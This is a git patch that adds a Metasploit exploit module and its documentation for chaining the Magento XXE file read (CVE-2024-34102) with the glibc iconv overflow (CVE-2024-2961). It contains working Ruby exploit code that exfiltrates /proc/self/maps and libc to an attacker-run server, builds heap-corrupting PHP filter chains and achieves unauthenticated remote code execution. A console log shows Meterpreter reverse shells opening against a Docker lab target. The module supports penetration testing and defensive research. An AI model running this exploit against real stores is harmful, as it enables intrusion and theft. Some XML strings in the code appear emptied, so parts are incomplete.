From 9536eaae2db89a44040ca58ace194c4db1d48141 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Mon, 16 Sep 2024 16:27:47 -0700 Subject: [PATCH] Magento XXE to GLIBC buffer overflow --- .../http/magento_xxe_to_glibc_buf_overflow.md | 154 +++++ metasploit-framework.gemspec | 3 + .../http/magento_xxe_to_glibc_buf_overflow.rb | 627 ++++++++++++++++++ 3 files changed, 784 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/magento_xxe_to_glibc_buf_overflow.md create mode 100644 modules/exploits/linux/http/magento_xxe_to_glibc_buf_overflow.rb diff --git a/documentation/modules/exploit/linux/http/magento_xxe_to_glibc_buf_overflow.md b/documentation/modules/exploit/linux/http/magento_xxe_to_glibc_buf_overflow.md new file mode 100644 index 000000000000..828f4015a9f7 --- /dev/null +++ b/documentation/modules/exploit/linux/http/magento_xxe_to_glibc_buf_overflow.md @@ -0,0 +1,154 @@ +## Vulnerable Application +This combination of an Arbitrary File Read (CVE-2024-34102) and a Buffer Overflow in glibc (CVE-2024-2961) +allows for unauthenticated Remote Code Execution on the following versions of Magento and Adobe Commerce and +earlier if the PHP and glibc versions are also vulnerable: + - 2.4.7 and earlier + - 2.4.6-p5 and earlier + - 2.4.5-p7 and earlier + - 2.4.4-p8 and earlier + +Vulenerable PHP versions: + - From PHP 7.0.0 (2015) to 8.3.7 (2024) + +Vulnerable iconv() function in the GNU C Library: + - 2.39 and earlier + +The exploit chain is quite interesting and for more detailed information I suggest reading the links in the +references. I'll give a very brief over view. CVE-2024-34102 is and XML External Entity vulnerability which +leverages PHP filters to read arbitrary files off the target system. The exploit chain uses this to read +/proc/self/maps off the system which provides the address of PHP's heap and the filename of the libc. Then +using the file read again the libc binary is downloaded and the exploit extracts the address and offset of the +following functions which are used to write the payload: libc_malloc, libc_system and libc_realloc. + +With this information and expert knowledge of PHP, it's: chunks, free lists, buckets, bucket brigades and how +all such things are are stored in memory and affected by PHP filters, CVE-2024-2961 can then be exploited. A +long chain of PHP filters is constructed and sent in the same way the XXE is exploited which allows for; a +payload to be written to memory and for the buffer overflow to be exploited in order to redirect execution to +obtain RCE. + +### Setup + +The following docker-compose file can be used to test this module. There are a few things that need to be noted: +1. cURL is not installed by default in the target container, in order for a fetch payload to be successful run the + following once the container has been started: +``` + docker exec -it magento_magento_1 bash + root@13c538f53068:/# apt update; apt install curl -y +``` +2. The docker-compose file sets magento server's name to `localhost` and in order to exploit the container `rhost` must + be set to `localhost` (setting `rhost` to `127.0.0.1` or your local IP address will not work for this docker-compose file) + and so given this configuration `msfconsole` must be running on the same host as the container. +3. The network settings on my macbook didn't allow me to exploit this locally so I was running the containers and + `msfconsole` from an Ubuntu 22.04 VM. + +``` +services: + mariadb: + image: docker.io/bitnami/mariadb:10.6 + environment: + # ALLOW_EMPTY_PASSWORD is recommended only for development. + - ALLOW_EMPTY_PASSWORD=yes + - MARIADB_USER=bn_magento + - MARIADB_DATABASE=bitnami_magento + volumes: + - 'old_mariadb_data:/bitnami/mariadb' + magento: + image: docker.io/bitnami/magento:2.4.7-debian-12-r0 + ports: + - '80:8080' + - '443:8443' + environment: + - MAGENTO_HOST=localhost + - MAGENTO_DATABASE_HOST=mariadb + - MAGENTO_DATABASE_PORT_NUMBER=3306 + - MAGENTO_DATABASE_USER=bn_magento + - MAGENTO_DATABASE_NAME=bitnami_magento + - ELASTICSEARCH_HOST=elasticsearch + - ELASTICSEARCH_PORT_NUMBER=9200 + # ALLOW_EMPTY_PASSWORD is recommended only for development. + - ALLOW_EMPTY_PASSWORD=yes + volumes: + - 'old_magento_data:/bitnami/magento' + depends_on: + - mariadb + - elasticsearch + elasticsearch: + image: docker.io/bitnami/elasticsearch:7 + volumes: + - 'old_elasticsearch_data:/bitnami/elasticsearch/data' +volumes: + old_mariadb_data: + driver: local + old_magento_data: + driver: local + old_elasticsearch_data: + driver: local +``` + +## Verification Steps + +1. Start msfconsole +1. Do: `use ` +1. Set the `RHOST`, `SRVHOST` and `LHOST` options +1. Run the module +1. Receive 3 Meterpreter sessions as the `daemon` user. + +## Scenarios +### +``` +msf6 > use magento_xxe_to_glibc_buf_overflow + +Matching Modules +================ + + # Name Disclosure Date Rank Check Description + - ---- --------------- ---- ----- ----------- + 0 exploit/linux/http/magento_xxe_to_glibc_buf_overflow 1970-01-01 excellent No CosmicSting: Magento Arbitrary File Read (CVE-2024-34102) + PHP Buffer Overflow in the iconv() function of glibc (CVE-2024-2961) + + +Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/http/magento_xxe_to_glibc_buf_overflow + +[*] Using exploit/linux/http/magento_xxe_to_glibc_buf_overflow +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +msf6 exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > set srvhost 172.16.199.130 +srvhost => 172.16.199.130 +msf6 exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > set fetch_srvhost 172.16.199.130 +fetch_srvhost => 172.16.199.130 +msf6 exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > set rhost localhost +rhost => localhost +msf6 exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > run +[*] Exploit running as background job 6. + +[*] Started reverse TCP handler on 172.16.199.130:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Using URL: http://172.16.199.130:8080/ +[*] Server started +msf6 exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > +[+] Exploit precondition 1/3 met: Detected Magento Community edition version 2.4 which is vulnerable. +[+] Exploit precondition 2/3 met: PHP appears to be exploitable. +[+] Exploit precondition 3/3 met: glibc is version: 2.36 +[+] The target appears to be vulnerable. +[*] Attempting to parse libc to extract necessary symbols and addresses +[*] Attempting to build an exploit PHP filter path with the information extracted from libc and /proc/self/maps +[*] Sending payload... +[*] Sending stage (3045380 bytes) to 172.25.0.4 +[*] Sending stage (3045380 bytes) to 172.25.0.4 +[*] Sending stage (3045380 bytes) to 172.25.0.4 +[*] Meterpreter session 4 opened (172.16.199.130:4444 -> 172.25.0.4:41354) at 2024-10-09 11:26:31 -0700 +[*] Meterpreter session 5 opened (172.16.199.130:4444 -> 172.25.0.4:41366) at 2024-10-09 11:26:31 -0700 +[*] Meterpreter session 6 opened (172.16.199.130:4444 -> 172.25.0.4:41370) at 2024-10-09 11:26:31 -0700 +[*] Server stopped. + +msf6 exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > sessions -i -1 +[*] Starting interaction with 6... + +meterpreter > getuid +Server username: daemon +meterpreter > sysinfo +Computer : 172.25.0.4 +OS : Debian 12.5 (Linux 6.8.0-45-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` \ No newline at end of file diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index bb0d3a5e80d2..1cca031bfee3 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -251,6 +251,9 @@ Gem::Specification.new do |spec| # Needed for multiline REPL support for interactive SQL sessions spec.add_runtime_dependency 'reline' + # Needed to parse sections of ELF files in order to retrieve symbols + spec.add_runtime_dependency 'elftools' + # Standard libraries: https://www.ruby-lang.org/en/news/2023/12/25/ruby-3-3-0-released/ %w[ abbrev diff --git a/modules/exploits/linux/http/magento_xxe_to_glibc_buf_overflow.rb b/modules/exploits/linux/http/magento_xxe_to_glibc_buf_overflow.rb new file mode 100644 index 000000000000..7f46f6cc9dab --- /dev/null +++ b/modules/exploits/linux/http/magento_xxe_to_glibc_buf_overflow.rb @@ -0,0 +1,627 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::Retry + prepend Msf::Exploit::Remote::AutoCheck + require 'elftools' + + class ProcSelfMapsError < StandardError; end + + PAD = 20 + HEAP_SIZE = 2 * 1024 * 1024 + BUG = '劄' + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'CosmicSting: Magento Arbitrary File Read (CVE-2024-34102) + PHP Buffer Overflow in the iconv() function of glibc (CVE-2024-2961)', + 'Description' => %q{ + This combination of an Arbitrary File Read (CVE-2024-34102) and a Buffer Overflow in glibc (CVE-2024-2961) + allows for unauthenticated Remote Code Execution on the following versions of Magento and Adobe Commerce and + earlier if the PHP and glibc versions are also vulnerable: + - 2.4.7 and earlier + - 2.4.6-p5 and earlier + - 2.4.5-p7 and earlier + - 2.4.4-p8 and earlier + + Vulnerable PHP versions: + - From PHP 7.0.0 (2015) to 8.3.7 (2024) + + Vulnerable iconv() function in the GNU C Library: + - 2.39 and earlier + + The exploit chain is quite interesting and for more detailed information I suggest reading the links in the + references. I'll give a very breif over view. CVE-2024-34102 is and XML External Entity vulnerability which + leverages PHP filters to read arbitrary files off the target system. The exploit chain uses this to read + /proc/self/maps off the system which provides the address of PHP's heap and the filename of the libc. Then + using the file read again the libc binary is downloaded and the exploit extracts the address and offset of the + following functions which are used to write the payload: libc_malloc, libc_system and libc_realloc. + + With this information and expert knowledge of PHP, it's: chunks, free lists, buckets, bucket brigades and how + all such things are are stored in memory and affected by PHP filters, CVE-2024-2961 can then be exploited. A + long chain of PHP filters is constructed and sent in the same way the XXE is exploited which allows for; a + payload to be written to memory and for the buffer overflow to be exploited in order to redirect execution to + obtain RCE. + }, + 'Author' => [ + 'SpaceWasp', # CVE-2024-34102 Discovery + 'Charles Fol', # CVE-2024-2961 Discovery + RCE PoC + 'jheysel-r7' # module + ], + 'References' => [ + [ 'URL', 'https://github.com/spacewasp/public_docs/blob/main/CVE-2024-34102.md'], + [ 'URL', 'https://sansec.io/research/cosmicsting'], + [ 'URL', 'https://www.ambionics.io/blog/iconv-cve-2024-2961-p1'], + [ 'URL', 'https://github.com/ambionics/cnext-exploits/blob/main/cosmicsting-cnext-exploit.py'], # PoC this module is based on + [ 'CVE', '2024-2961'], + [ 'CVE', '2024-34102'] + ], + 'License' => MSF_LICENSE, + 'Platform' => %w[linux unix], + 'Privileged' => false, + 'Arch' => [ ARCH_CMD ], + 'Targets' => [ + [ + 'Unix Command', + { + 'Platform' => %w[unix linux], + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd + # Tested with cmd/linux/http/x64/meterpreter_reverse_tcp - NOTE the test container does not have curl or wget installed by default + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2024-07-26', # The date the PoC for this exploit was made public + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], + 'Reliability' => [ REPEATABLE_SESSION, ] # Multiple sessions return after a single module run, after multiple module runs expect to get no longer receive any sessions. It doesn't seem to crash the target but it does seem to stop responding to exploit attempts after a few tries + } + ) + ) + + register_options( + [ + OptString.new('TARGETURI', [ true, 'The base path to the web application', '/']), + OptInt.new('DOWNLOAD_FILE_TIMEOUT', [ true, 'The amount of time to wait for the XXE to return the file requested', 10]), + ] + ) + end + + def check_magento_version + vprint_status('Trying to get the Magento version') + + # request to check if the target is vulnerable /magento_version + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/magento_version') + }) + + return CheckCode::Unknown('Could not detect the version.') unless res&.code == 200 + + # Magento/2.4 (Community) + version, edition = res.body.scan(%r{Magento/([\d.]+) \(([^)]+)\)}).first + + version = Rex::Version.new(version) + + return CheckCode::Safe("Detected Magento #{edition} edition version #{version} which is not vulnerable") unless + version <= (Rex::Version.new('2.4.7')) || + version <= (Rex::Version.new('2.4.6-p5')) || + version <= (Rex::Version.new('2.4.5-p7')) || + version <= (Rex::Version.new('2.4.4-p8')) || + ( + edition == 'Enterprise' && ( + version <= (Rex::Version.new('2.4.3-ext-7')) || + version <= (Rex::Version.new('2.4.2-ext-7')) + ) + ) + + CheckCode::Appears("Exploit precondition 1/3 met: Detected Magento #{edition} edition version #{version} which is vulnerable.") + end + + def check_php_rce_requirements + text = Rex::Text.rand_text_alpha(50) + base64 = Rex::Text.encode_base64(text) + path1 = "data:text/plain;base64,#{base64}" + + result1 = download_file(path1) + if result1 == text + vprint_good('The data wrapper is working') + else + return CheckCode::Safe('The [i]data://[/] wrapper does not work') + end + + text = Rex::Text.rand_text_alpha(50) + base64 = Rex::Text.encode_base64(text) + path2 = "php://filter//resource=data:text/plain;base64,#{base64}" + result2 = download_file(path2) + + if result2 == text + vprint_good('The filter wrapper is working') + else + return CheckCode::Safe('The [i]php://filter/[/] wrapper does not work') + end + + text = Rex::Text.rand_text_alpha(50) + compressed_text = compress(text) + base64 = Base64.encode64(compressed_text).gsub("\n", '') + + path = "php://filter/zlib.inflate/resource=data:text/plain;base64,#{base64}" + result3 = download_file(path) + if result3 == text + vprint_good('the zlib filter is working') + else + CheckCode::Safe('The [i]php://filter/[/] wrapper does not work') + end + CheckCode::Appears('Exploit precondition 2/3 met: PHP appears to be exploitable.') + end + + def check_libc_version + begin + @libc_binary = get_libc + rescue ProcSelfMapsError => e + return CheckCode::Unknown("There was an issue processing /proc/self/maps which is required to extract the libc version: #{e.class}: #{e}") + end + + return CheckCode::Unknown('Unable to download the glibc binary from the target which is required to exploit. Rerunning the module could fix this issue.') unless @libc_binary + + # A string similar to the following should appear in the binary: "GNU C Library (Debian GLIBC 2.36-9+deb12u4) stable release version 2.36." + printable_strings = @libc_binary.scan(/[[:print:]]{20,}/).map(&:strip) + + libc_version = nil + + printable_strings.each do |string| + if string =~ /GNU\s+C\s+Library.*version\s+(\d\.\d+)/ + libc_version = Rex::Version.new(Regexp.last_match(1)) + break + end + end + + print_bad('Libc Version NOT FOUND') unless libc_version + + if libc_version <= Rex::Version.new('2.39') + CheckCode::Appears("Exploit precondition 3/3 met: glibc is version: #{libc_version}") + else + CheckCode::Safe("glibc version is not vulnerable: #{libc_version}") + end + end + + def check + setup_module + magento_checkcode = check_magento_version + return magento_checkcode unless magento_checkcode.code == 'appears' + + print_good(magento_checkcode.reason) + + php_checkcode = check_php_rce_requirements + return php_checkcode unless php_checkcode.code == 'appears' + + print_good(php_checkcode.reason) + + libc_version_checkcode = check_libc_version + return libc_version_checkcode unless libc_version_checkcode.code == 'appears' + + print_good(libc_version_checkcode.reason) + CheckCode::Appears + end + + def download_file(file) + @filter_path = "php://filter/convert.base64-encode/convert.base64-encode/resource=#{file}" + @target_file = file + @file_data = nil + vprint_status("Sening PHP filter path: #{@filter_path}") + send_path(@filter_path) + retry_until_truthy(timeout: datastore['DOWNLOAD_FILE_TIMEOUT']) do + break if @file_data + end + @file_data + end + + def send_path(path) + @filter_path = Rex::Text.encode_base64(path) + + vprint_status('Sending XXE request') + + system_entity = Rex::Text.rand_text_alpha_lower(4..8) + + xml = "" + xml += "" + xml += " %#{system_entity}; %#{@xxe_param}; " + xml += ']' + xml += "> &#{@xxe_exfil};" + + json = { + address: { + totalsReader: { + collectorList: { + totalCollector: { + sourceData: { + data: xml, + options: 524290 + } + } + } + } + } + } + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/rest/V1/guest-carts/test-ambio/estimate-shipping-methods'), + 'headers' => { + 'Accept' => '*/*', + 'Accept-Language' => 'en-US,en;q=0.5', + 'Accept-Encoding' => 'gzip, deflate', + 'Connection' => 'keep-alive' + }, + 'ctype' => 'application/json', + 'data' => JSON.generate(json) + }) + + res + end + + def find_main_heap(regions) + # Any anonymous RW region with a size greater than the base heap size is a candidate. + # The heap is at the bottom of the region. + heaps = regions.reverse.each_with_object([]) do |region, arr| + next unless region[:permissions] == 'rw-p' && + region[:stop] - region[:start] >= HEAP_SIZE && + (region[:stop] & (HEAP_SIZE - 1)).zero? && + ['', '[anon:zend_alloc]'].include?(region[:path]) + + arr << (region[:stop] - HEAP_SIZE + 0x40) + end + + if heaps.empty? + raise ProcSelfMapsError, "Unable to find PHP's main heap in memory by parsing /proc/self/maps" + end + + first = heaps[0] + + if heaps.size > 1 + heap_addresses = heaps.map { |heap| "0x#{heap.to_s(16)}" }.join(', ') + vprint_status("Potential heaps: [i]#{heap_addresses}[/] (using first)") + else + vprint_status("Using [i]0x#{first.to_s(16)}[/] as heap") + end + + vprint_good('Successfully extracted the location in memory of the PHP heap') + first + end + + def get_libc_region(regions, *names) + libc_region = regions.find do |region| + names.any? { |name| region[:path].include?(name) } + end + + unless libc_region + raise ProcSelfMapsError, 'Unable to locate libc region in /proc/self/maps' + end + + vprint_good('Successfully located the libc region in memory') + libc_region + end + + def get_libc + @regions ||= get_regions + @info['heaps'] = find_main_heap(@regions) + @libc_region ||= get_libc_region(@regions, 'libc-', 'libc.so') + vprint_good("Found libc region: #{@libc_region}") + download_file(@libc_region[:path]) + end + + def get_symbols_and_addresses + begin + @libc_binary ||= get_libc + rescue ProcSelfMapsError => e + fail_with(Failure::UnexpectedReply, "There was an issue processing /proc/self/maps which is required to extract the libc version: #{e.class}: #{e}") + end + fail_with(Failure::UnexpectedReply, 'Unable to download the glibc binary, which is required to exploit. Rerunning the module could fix this issue.') unless @libc_binary + + # ELFFile expects a file, instead of writing it to disk use StringIO + libc_binary_file = StringIO.new(@libc_binary) + elf = ELFTools::ELFFile.new(libc_binary_file) + symtab_section = elf.section_by_name('.dynsym') + symbols = symtab_section.symbols + + @info['libc_malloc'] = nil + @info['libc_system'] = nil + @info['libc_realloc'] = nil + + symbols.each do |symbol| + @info['libc_malloc'] = symbol.header.st_value.to_i + @libc_region[:start] if symbol.name == '__libc_malloc' + @info['libc_system'] = symbol.header.st_value.to_i + @libc_region[:start] if symbol.name == '__libc_system' + @info['libc_realloc'] = symbol.header.st_value.to_i + @libc_region[:start] if symbol.name == '__libc_realloc' + end + + fail_with(Failure::BadConfig, 'Unable to get necessary symbols from libc.so') unless @info['libc_malloc'] && @info['libc_system'] && @info['libc_realloc'] + vprint_status("libc_malloc: #{@info['libc_malloc']}") + vprint_status("libc_system: #{@info['libc_system']}") + vprint_status("libc_realloc: #{@info['libc_realloc']}") + end + + def get_regions + # Obtains the memory regions of the PHP process by querying /proc/self/maps. + maps = download_file('/proc/self/maps') + raise ProcSelfMapsError, '/proc/self/maps was unable able to be downloaded' if maps.blank? + + maps = maps.force_encoding('UTF-8') + pattern = /^([a-f0-9]+)-([a-f0-9]+)\b.*\s([-rwx]{3}[ps])\s(.*)/ + regions = [] + + # Example lines from: /proc/self/maps + # 712eebe00000-712eec000000 rw-p 00000000 00:00 0 [anon:zend_alloc] + # 712ef14aa000-712ef14ab000 rw-p 00007000 00:59 2144348 /opt/bitnami/apache/modules/mod_mime.so + maps.each_line do |region| + if (match = pattern.match(region)) + start_addr = match[1].to_i(16) + stop_addr = match[2].to_i(16) + permissions = match[3] + path = match[4] + + if path.include?('/') || path.include?('[') + path = path.split(' ', 4).last + else + path = '' + end + + current = { + start: start_addr, + stop: stop_addr, + permissions: permissions, + path: path + } + + regions << current + else + raise ProcSelfMapsError, '/proc/self/maps is unparsable' + end + end + vprint_good('Successfully downloaded /proc/self/maps and parsed regions') + regions + end + + def compress(data) + # Compress the data and remove the 2-byte header and 4-byte checksum + compressed_data = Zlib::Deflate.deflate(data, Zlib::BEST_COMPRESSION) + compressed_data[2..-5] + end + + def compressed_bucket(data) + # Returns a chunk of size 0x8000 that, when dechunked, returns the data. + chunked_chunk(data, 0x8000) + end + + def qpe(data) + # Emulates quoted-printable-encode. + data.bytes.map { |x| sprintf('=%02X', x) }.join + end + + def ptr_bucket(*ptrs, size: nil) + # Raise an error if size is specified and doesn't match the expected length + if size && ptrs.length * 8 != size + fail_with(Failure::BadConfig, 'Size must match the length of pointers in ptr_bucket method') + end + + bucket = ptrs.map { |ptr| p64(ptr) }.join + bucket = qpe(bucket) + bucket = chunked_chunk(bucket) + bucket = chunked_chunk(bucket) + bucket = chunked_chunk(bucket) + bucket = compressed_bucket(bucket) + + bucket + end + + def p64(value) + [value].pack('Q') # Pack as 64-bit little-endian + end + + def chunked_chunk(data, size = nil) + if size.nil? + size = data.bytesize + 8 + end + keep = data.bytesize + 2 # for "\n\n" + hex_size = data.bytesize.to_s(16) + padded_hex_size = hex_size.rjust(size - keep, '0') + "#{padded_hex_size}\n#{data}\n".b + end + + def build_exploit_path + addr_free_slot = @info['heaps'] + 0x20 + addr_custom_heap = @info['heaps'] + 0x0168 + addr_fake_bin = addr_free_slot - 0x10 + + cs = 0x100 + + # Pad needs to stay at size 0x100 at every step + pad_size = cs - 0x18 + pad = "\x00" * pad_size + 3.times { pad = chunked_chunk(pad, pad.length + 6) } + pad = compressed_bucket(pad) + + step1_size = 1 + step1 = "\x00" * step1_size + step1 = chunked_chunk(step1) + step1 = chunked_chunk(step1) + step1 = chunked_chunk(step1, cs) + step1 = compressed_bucket(step1) + + # Since these chunks contain non-UTF-8 chars, we cannot let it get converted to + # ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash" + + step2_size = 0x48 + step2 = "\x00" * (step2_size + 8) + step2 = chunked_chunk(step2, cs) + step2 = chunked_chunk(step2) + step2 = compressed_bucket(step2) + + step2_write_ptr = "0\n".ljust(step2_size, "\x00") + p64(addr_fake_bin) + step2_write_ptr = chunked_chunk(step2_write_ptr, cs) + step2_write_ptr = chunked_chunk(step2_write_ptr) + step2_write_ptr = compressed_bucket(step2_write_ptr) + + step3_size = cs + + step3_overflow = ("\x00" * (step3_size - BUG.bytes.length) + "\xe5\x8a\x84") # BUG bytes + step3_overflow = chunked_chunk(step3_overflow) + step3_overflow = chunked_chunk(step3_overflow) + step3_overflow = chunked_chunk(step3_overflow) + step3_overflow = compressed_bucket(step3_overflow) + + step4_size = cs + step4 = '=00' + "\x00" * (step4_size - 1) + 3.times { step4 = chunked_chunk(step4) } + step4 = compressed_bucket(step4) + + step4_pwn = ptr_bucket( + 0x200000, + 0, + # free_slot + 0, + 0, + addr_custom_heap, # 0x18 + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + @info['heaps'], # 0x140 + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + size: cs + ) + + step4_custom_heap = ptr_bucket(@info['libc_malloc'], @info['libc_system'], @info['libc_realloc'], size: 0x18) + step4_use_custom_heap_size = 0x140 + command = payload.encoded + + command = (command + "\x00").b + command = command.ljust(step4_use_custom_heap_size, "\x00".b) + + vprint_status("COMMAND: #{command}") + + step4_use_custom_heap = command + step4_use_custom_heap = qpe(step4_use_custom_heap) + step4_use_custom_heap = chunked_chunk(step4_use_custom_heap) + step4_use_custom_heap = chunked_chunk(step4_use_custom_heap) + step4_use_custom_heap = chunked_chunk(step4_use_custom_heap) + step4_use_custom_heap = compressed_bucket(step4_use_custom_heap) + + pages = ((step4 * 3) + step4_pwn + step4_custom_heap + step4_use_custom_heap + step3_overflow + (pad * PAD) + (step1 * 3) + step2_write_ptr + (step2 * 2)) + + resource = compress(compress(pages)) + resource = Base64.encode64(resource.b) + resource = "data:text/plain;base64,#{resource.gsub("\n", '')}" + + filters = [ + # Create buckets + 'zlib.inflate', + 'zlib.inflate', + # Step 0: Setup heap + 'dechunk', + 'convert.iconv.latin1.latin1', + # Step 1: Reverse FL order + 'dechunk', + 'convert.iconv.latin1.latin1', + # Step 2: Put fake pointer and make FL order back to normal + 'dechunk', + 'convert.iconv.latin1.latin1', + # Step 3: Trigger overflow + 'dechunk', + 'convert.iconv.UTF-8.ISO-2022-CN-EXT', + # Step 4: Allocate at arbitrary address and change zend_mm_heap + 'convert.quoted-printable-decode', + 'convert.iconv.latin1.latin1', + ] + + filters_string = filters.join('/') + + "php://filter/#{filters_string}/resource=#{resource}" + end + + def setup_module + @url_file = Rex::Text.rand_text_alpha_lower(4..8) + @url_data = Rex::Text.rand_text_alpha_lower(4..8) + @xxe_param = Rex::Text.rand_text_alpha_lower(4..8) + @xxe_exfil = Rex::Text.rand_text_alpha_lower(4..8) + @info = Hash.new + @module_setup_complete = true + + if datastore['SRVHOST'] == '0.0.0.0' || datastore['SRVHOST'] == '::' + fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') + end + + start_service({ + 'Uri' => { + 'Proc' => proc do |cli, req| + on_request_uri(cli, req) + end, + 'Path' => '/' + }, + 'ssl' => false + }) + print_status('Server started') + end + + def exploit + setup_module unless @module_setup_complete + fail_with(Failure::BadConfig, 'Payload is too big') if payload.encoded.length >= 0x140 # step4_use_custom_heap_size + print_status('Attempting to parse libc to extract necessary symbols and addresses') + get_symbols_and_addresses + print_status('Attempting to build an exploit PHP filter path with the information extracted from libc and /proc/self/maps') + path = build_exploit_path + print_status('Sending payload...') + send_path(path) + end + + def on_request_uri(cli, req) + super + url_parts = req.uri.split('/') + case url_parts[1] + when @url_file + path = Rex::Text.decode_base64(url_parts[2]) + data = Rex::Text.rand_text_alpha_lower(4..8) + response = " + +\">" + send_response(cli, response) + when @url_data + @file_data = Rex::Text.decode_base64(Rex::Text.decode_base64(req.uri.sub(%r{^/#{@url_data}/}, ''))) + send_response(cli, '') + else + print_bad('Server received an unexpected request.') + end + end +end